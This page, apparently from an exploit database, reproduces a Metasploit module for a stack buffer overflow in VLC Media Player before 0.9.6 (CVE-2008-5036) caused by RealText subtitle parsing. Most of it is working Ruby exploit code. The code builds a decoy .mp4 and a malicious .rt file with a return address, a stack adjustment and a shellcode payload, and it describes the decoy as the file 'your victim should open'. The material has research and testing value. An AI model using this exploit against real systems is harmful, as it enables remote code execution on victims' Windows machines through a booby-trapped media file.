Lucene search
K

VLC Media Player RealText Subtitle Overflow

🗓️ 03 Mar 2012 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 24 Views

VLC Media Player RealText Subtitle Overflow. Stack buffer overflow vulnerability in VLC Media Player < 0.9.6, in RealText subtitle files parsing. Exploits the parsing to trigger malicious files

Related
Code

                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
require 'msf/core'
class Metasploit3 &lt; Msf::Exploit::Remote
    Rank = GoodRanking
    include Msf::Exploit::FILEFORMAT
    def initialize(info = {})
        super(update_info(info,
            'Name'           =&gt; 'VLC Media Player RealText Subtitle Overflow',
            'Description'    =&gt; %q{
                    This module exploits a stack buffer overflow vulnerability in
                VideoLAN VLC &lt; 0.9.6. The vulnerability exists in the parsing of
                RealText subtitle files.
                    In order to exploit this, this module will generate two files:
                The .mp4 file is used to trick your victim into running. The .rt file
                is the actual malicious file that triggers the vulnerability, which
                should be placed under the same directory as the .mp4 file.
            },
            'License'        =&gt; MSF_LICENSE,
            'Author'         =&gt;
                [
                    'Tobias Klein',  # Vulnerability Discovery
                    'SkD', # Exploit
                    'juan vazquez' # Metasploit Module
                ],
            'Version'        =&gt; '$Revision: $',
            'References'     =&gt;
                [
                    [ 'OSVDB', '49809' ],
                    [ 'CVE', '2008-5036' ],
                    [ 'BID', '32125' ],
                    [ 'URL', 'http://www.trapkit.de/advisories/TKADV2008-011.txt' ],
                    [ 'URL', 'http://www.videolan.org/security/sa0810.html' ]
                ],
            'Payload'        =&gt;
                {
                    'Space'          =&gt; 1900,
                    'DisableNops'    =&gt; true,
                    'BadChars'       =&gt; &quot;\x00\x22\x0a&quot;,
                    'PrependEncoder' =&gt; &quot;\x81\xc4\x54\xf2\xff\xff&quot; # Stack adjustment # add esp, -3500
                },
            'Platform'       =&gt; 'win',
            'Targets'        =&gt;
                [
                    [ 'VLC 0.9.4 on Windows XP SP3 / Windows 7 SP1',
                        {
                            'Ret' =&gt; 0x68f0cfad, # jmp esp # libqt4_plugin.dll
                            'WritableAddress' =&gt; 0x695d5890 # libqt4_plugin.dll .data
                        }
                    ],
                ],
            'Privileged'     =&gt; false,
            'DisclosureDate' =&gt; 'Nov 05 2008',
            'DefaultTarget'  =&gt; 0))
        register_options(
            [
                OptString.new('FILENAME', [ true, 'The file name.',  'msf.rt']),
            ], self.class)
    end
    def generate_mp4
        mp4 = ''
        # ftyp
        mp4 &lt;&lt; &quot;\x00\x00\x00\x14&quot;  #Size
        mp4 &lt;&lt; &quot;ftyp&quot;              #Type
        mp4 &lt;&lt; &quot;isom&quot;              #Major brand
        mp4 &lt;&lt; &quot;\x00\x00&quot;          #version
        mp4 &lt;&lt; &quot;\x00\x00&quot;
        mp4 &lt;&lt; &quot;mp41&quot;              #Compatible brands
        # moov
        mp4 &lt;&lt; &quot;\x00\x00\x00\x9f&quot;  #Size
        mp4 &lt;&lt; &quot;moov&quot;              #Type
        mp4 &lt;&lt; &quot;\x00\x00\x00\x6c\x6d\x76\x68\x64\x00\x00\x00\x00\xcb\x75\xf1\xc2\xcb\x75\xf1\xc2&quot;
        mp4 &lt;&lt; &quot;\x00\x01\x5f\x90\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00&quot;
        mp4 &lt;&lt; &quot;\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;
        mp4 &lt;&lt; &quot;\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00&quot;
        mp4 &lt;&lt; &quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;
        mp4 &lt;&lt; &quot;\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x2b&quot;
        mp4 &lt;&lt; &quot;udta&quot;
        mp4 &lt;&lt; &quot;\x00\x00\x00\x23&quot;
        mp4 &lt;&lt; &quot;\xa9\x65\x6e\x63\x00\x17\x00\x00&quot;
        mp4 &lt;&lt; &quot;vlc 0.9.4 stream output&quot;
        # wide
        mp4 &lt;&lt; &quot;\x00\x00\x00\x08&quot;
        mp4 &lt;&lt; &quot;wide&quot;
        # mdat
        mp4 &lt;&lt; &quot;\x00\x00\x00\x08&quot;
        mp4 &lt;&lt; &quot;mdat&quot;
        return mp4
    end
    def generate_rt
        my_payload = &quot;&quot;
        my_payload &lt;&lt; Rex::Text.rand_text(72, payload_badchars)
        my_payload &lt;&lt; [target.ret].pack(&quot;V&quot;) # EIP =&gt; jmp esp
        my_payload &lt;&lt; Metasm::Shellcode.assemble(Metasm::Ia32.new, &quot;jmp $+8&quot;).encode_string # ESP =&gt; jmp after &quot;Writable address&quot;
        my_payload &lt;&lt; Rex::Text.rand_text(2, payload_badchars)
        my_payload &lt;&lt; [target['WritableAddress']].pack(&quot;V&quot;) # Writable address
        my_payload &lt;&lt; payload.encoded
        rt_file = &lt;&lt;-eos
&lt;window height=&quot;250&quot; width=&quot;300&quot; duration=&quot;15&quot; bgcolor=&quot;yellow&quot;&gt;
Mary had a little lamb,
&lt;br/&gt;&lt;time begin=&quot;#{my_payload}&quot;/&gt;
&lt;br/&gt;&lt;time begin=&quot;6&quot;/&gt;little lamb,
&lt;br/&gt;&lt;time begin=&quot;9&quot;/&gt;Mary had a little lamb
&lt;br/&gt;&lt;time begin=&quot;12&quot;/&gt;whose fleece was white as snow.
&lt;/window&gt;
        eos
        return rt_file
    end
    def exploit
        mp4 = generate_mp4
        rt  = generate_rt
        print_status(&quot;Creating '#{datastore['FILENAME']}'. Put this file under the same directory as the mp4 file&quot;)
        file_create(rt)
        original_fname = datastore['FILENAME']
        datastore['FILENAME'] = original_fname.scan(/(\w+).\w+/).flatten[0] + &quot;.mp4&quot;
        print_status(&quot;Creating '#{datastore['FILENAME']}'. This is the file your victim should open.&quot;)
        file_create(mp4)
        datastore['FILENAME'] = original_fname
    end
end
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation